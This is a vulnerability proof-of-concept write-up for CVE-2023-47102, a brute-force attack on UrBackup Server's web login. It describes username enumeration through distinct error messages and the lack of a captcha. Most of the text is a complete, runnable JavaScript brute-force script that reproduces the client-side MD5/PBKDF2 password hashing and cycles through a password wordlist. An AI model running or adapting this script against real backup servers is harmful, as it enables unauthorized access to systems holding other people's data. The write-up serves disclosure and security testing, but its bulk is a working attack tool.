CVE-2023-47102

Proof-of-concept UrBackup Server Exploitation

Published on October 31, 2023

By: Nitipoom Jaroonchaipipat



Vulnerability

Description of the image

Starting with the first step, access the login page at localhost:55414. The login page includes fields for username and password, and it lacks captcha or any other controls to prevent automated form submissions. We observed that this allows perpetrators to brute-force the login request.


Description of the image

Next, we begin to understand how UrBackup works. We first try using the username "root". The result shows that "User does not exist". From this, we can easily deduce that this user does not exist.


Description of the image

We then try using a common username credential that might be used by most administrators, which can be found here. If we are lucky, the admin might be using one of the existing usernames from the wordlist similar to my demonstration, which shows that the username "admin" exists; however, the popup indicates "Wrong password".


Description of the image

The first request is sent to /x?a=salt and the response contains a cryptographic setting


Description of the image

The second request is sent to /x?a=login which has 4 parameters


Description of the image Description of the image

The cryptographic JavaScript function that performs a password calculation is located on the client side.



How to exploit


1. Prepare a list of existing usernames (in this case "admin")


2. Prepare a password wordlist (in this case is "pass.txt")


3. Run below code to automate brute-force




import axios from 'axios';
import fs from 'fs/promises';
import qs from 'qs';  
import sjcl from 'sjcl';
import { HttpProxyAgent } from 'http-proxy-agent';

               const proxyAgent = new HttpProxyAgent('http://127.0.0.1:8080');
var blks = null;
var nblk = null;
var i = null;
var x = null;
var a = null;
var b = null;
var c = null;
var d = null;
var olda = null;
var oldb = null;
var oldc = null;
var oldd = null;
var str = null;
var j = null;
var hex_chr = "0123456789abcdef";
function rhex(num)
{
  str = "";
  for(j = 0; j <= 3; j++)
    str += hex_chr.charAt((num >> (j * 8 + 4)) & 0x0F) +
           hex_chr.charAt((num >> (j * 8)) & 0x0F);
  return str;
}
function str2blks_MD5(str)
{
  nblk = ((str.length + 8) >> 6) + 1;
  blks = new Array(nblk * 16);
  for(i = 0; i < nblk * 16; i++) blks[i] = 0;
  for(i = 0; i < str.length; i++)
    blks[i >> 2] |= str.charCodeAt(i) << ((i % 4) * 8);
  blks[i >> 2] |= 0x80 << ((i % 4) * 8);
  blks[nblk * 16 - 2] = str.length * 8;
  return blks;
}
function add(x, y)
{
  var lsw = (x & 0xFFFF) + (y & 0xFFFF);
  var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
  return (msw << 16) | (lsw & 0xFFFF);
}
function rol(num, cnt)
{
  return (num << cnt) | (num >>> (32 - cnt));
}
function cmn(q, a, b, x, s, t)
{
  return add(rol(add(add(a, q), add(x, t)), s), b);
}
function ff(a, b, c, d, x, s, t)
{
  return cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function gg(a, b, c, d, x, s, t)
{
  return cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function hh(a, b, c, d, x, s, t)
{
  return cmn(b ^ c ^ d, a, b, x, s, t);
}
function ii(a, b, c, d, x, s, t)
{
  return cmn(c ^ (b | (~d)), a, b, x, s, t);
}
function calcMD5(str)
{
  x = str2blks_MD5(str);
  a =  1732584193;
  b = -271733879;
  c = -1732584194;
  d =  271733878;
  for(i = 0; i < x.length; i += 16)
  {
    olda = a;
    oldb = b;
    oldc = c;
    oldd = d;
    a = ff(a, b, c, d, x[i+ 0], 7 , -680876936);
    d = ff(d, a, b, c, x[i+ 1], 12, -389564586);
    c = ff(c, d, a, b, x[i+ 2], 17,  606105819);
    b = ff(b, c, d, a, x[i+ 3], 22, -1044525330);
    a = ff(a, b, c, d, x[i+ 4], 7 , -176418897);
    d = ff(d, a, b, c, x[i+ 5], 12,  1200080426);
    c = ff(c, d, a, b, x[i+ 6], 17, -1473231341);
    b = ff(b, c, d, a, x[i+ 7], 22, -45705983);
    a = ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
    d = ff(d, a, b, c, x[i+ 9], 12, -1958414417);
    c = ff(c, d, a, b, x[i+10], 17, -42063);
    b = ff(b, c, d, a, x[i+11], 22, -1990404162);
    a = ff(a, b, c, d, x[i+12], 7 ,  1804603682);
    d = ff(d, a, b, c, x[i+13], 12, -40341101);
    c = ff(c, d, a, b, x[i+14], 17, -1502002290);
    b = ff(b, c, d, a, x[i+15], 22,  1236535329);    
    a = gg(a, b, c, d, x[i+ 1], 5 , -165796510);
    d = gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
    c = gg(c, d, a, b, x[i+11], 14,  643717713);
    b = gg(b, c, d, a, x[i+ 0], 20, -373897302);
    a = gg(a, b, c, d, x[i+ 5], 5 , -701558691);
    d = gg(d, a, b, c, x[i+10], 9 ,  38016083);
    c = gg(c, d, a, b, x[i+15], 14, -660478335);
    b = gg(b, c, d, a, x[i+ 4], 20, -405537848);
    a = gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
    d = gg(d, a, b, c, x[i+14], 9 , -1019803690);
    c = gg(c, d, a, b, x[i+ 3], 14, -187363961);
    b = gg(b, c, d, a, x[i+ 8], 20,  1163531501);
    a = gg(a, b, c, d, x[i+13], 5 , -1444681467);
    d = gg(d, a, b, c, x[i+ 2], 9 , -51403784);
    c = gg(c, d, a, b, x[i+ 7], 14,  1735328473);
    b = gg(b, c, d, a, x[i+12], 20, -1926607734);
    
    a = hh(a, b, c, d, x[i+ 5], 4 , -378558);
    d = hh(d, a, b, c, x[i+ 8], 11, -2022574463);
    c = hh(c, d, a, b, x[i+11], 16,  1839030562);
    b = hh(b, c, d, a, x[i+14], 23, -35309556);
    a = hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
    d = hh(d, a, b, c, x[i+ 4], 11,  1272893353);
    c = hh(c, d, a, b, x[i+ 7], 16, -155497632);
    b = hh(b, c, d, a, x[i+10], 23, -1094730640);
    a = hh(a, b, c, d, x[i+13], 4 ,  681279174);
    d = hh(d, a, b, c, x[i+ 0], 11, -358537222);
    c = hh(c, d, a, b, x[i+ 3], 16, -722521979);
    b = hh(b, c, d, a, x[i+ 6], 23,  76029189);
    a = hh(a, b, c, d, x[i+ 9], 4 , -640364487);
    d = hh(d, a, b, c, x[i+12], 11, -421815835);
    c = hh(c, d, a, b, x[i+15], 16,  530742520);
    b = hh(b, c, d, a, x[i+ 2], 23, -995338651);
    a = ii(a, b, c, d, x[i+ 0], 6 , -198630844);
    d = ii(d, a, b, c, x[i+ 7], 10,  1126891415);
    c = ii(c, d, a, b, x[i+14], 15, -1416354905);
    b = ii(b, c, d, a, x[i+ 5], 21, -57434055);
    a = ii(a, b, c, d, x[i+12], 6 ,  1700485571);
    d = ii(d, a, b, c, x[i+ 3], 10, -1894986606);
    c = ii(c, d, a, b, x[i+10], 15, -1051523);
    b = ii(b, c, d, a, x[i+ 1], 21, -2054922799);
    a = ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
    d = ii(d, a, b, c, x[i+15], 10, -30611744);
    c = ii(c, d, a, b, x[i+ 6], 15, -1560198380);
    b = ii(b, c, d, a, x[i+13], 21,  1309151649);
    a = ii(a, b, c, d, x[i+ 4], 6 , -145523070);
    d = ii(d, a, b, c, x[i+11], 10, -1120210379);
    c = ii(c, d, a, b, x[i+ 2], 15,  718787259);
    b = ii(b, c, d, a, x[i+ 9], 21, -343485551);
    a = add(a, olda);
    b = add(b, oldb);
    c = add(c, oldc);
    d = add(d, oldd);
  }
  console.log(rhex(a) + rhex(b) + rhex(c) + rhex(d));
  return rhex(a) + rhex(b) + rhex(c) + rhex(d);
}

const main = async () => {
    try {
        const passwords = await fs.readFile('pass.txt', 'utf8');
        const passwordArray = passwords.split('\n').map(pw => pw.trim());
        for (const password of passwordArray) {
            console.log(password)
          
            const url1 = 'http://localhost:55414/x?a=salt';
            const data1 = qs.stringify({
                username: 'admin',
                ses: '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
                lang: 'en'
            });
            const response1 = await axios.post(url1, data1, {
                headers: {
                    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
                    "Accept": "application/json, text/javascript, */*; q=0.01",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "X-Requested-With": "XMLHttpRequest",
                    "Origin": "http://localhost:55414",
                    "Referer": "http://localhost:55414"
                },httpAgent: proxyAgent,  
                httpsAgent: proxyAgent 
            });
            console.log(response1.data);
            const { rnd, salt, ses } = response1.data;
            if (!rnd || !salt) {
                console.log('Failed to retrieve rnd or salt');
                continue;
            }

            let pwmd5 = calcMD5(salt + password);
            if (10000 > 0) {
                pwmd5 = sjcl.codec.hex.fromBits(sjcl.misc.pbkdf2(sjcl.codec.hex.toBits(pwmd5), salt, 10000));
            }
            pwmd5 = calcMD5(rnd + pwmd5); 
            const url2 = 'http://localhost:55414/x?a=login';
            const data2 = {
                username: 'admin',
                password: pwmd5,
                ses: ses || '4Eu9JKihHNT6CH8esJQ0mn3ga9G7vJ',
                lang: 'en'
            };
            
            const response2 = await axios.post(url2, qs.stringify(data2), {  
                headers: {
                    "Accept": "application/json, text/javascript, */*; q=0.01",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",  
                    "sec-ch-ua": '"Not;A Brand";v="99", "Chromium";v="106"',
                    "X-Requested-With": "XMLHttpRequest",
                    "sec-ch-ua-mobile": "?0",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36",
                    "sec-ch-ua-platform": '"Windows"',
                    "Origin": "http://localhost:55414",
                    "Sec-Fetch-Site": "same-origin",
                    "Sec-Fetch-Mode": "cors",
                    "Sec-Fetch-Dest": "empty",
                    "Referer": "http://localhost:55414/",
                    "Accept-Encoding": "gzip, deflate",
                    "Accept-Language": "en-US,en;q=0.9",
                    "Connection": "close"
                },httpAgent: proxyAgent,  
                httpsAgent: proxyAgent 
            });
            
            console.log(response2.data);
        }
    } catch (error) {
        console.error('An error occurred:', error);
    }
};
main();

               
            

Result


Description of the image

All requests made by the automation script.

Description of the image

An incorrect hash password will return a JSON with an error type of 2.

Description of the image

A correct hash password will return attributes of the settings, and the response length will be different.

Description of the image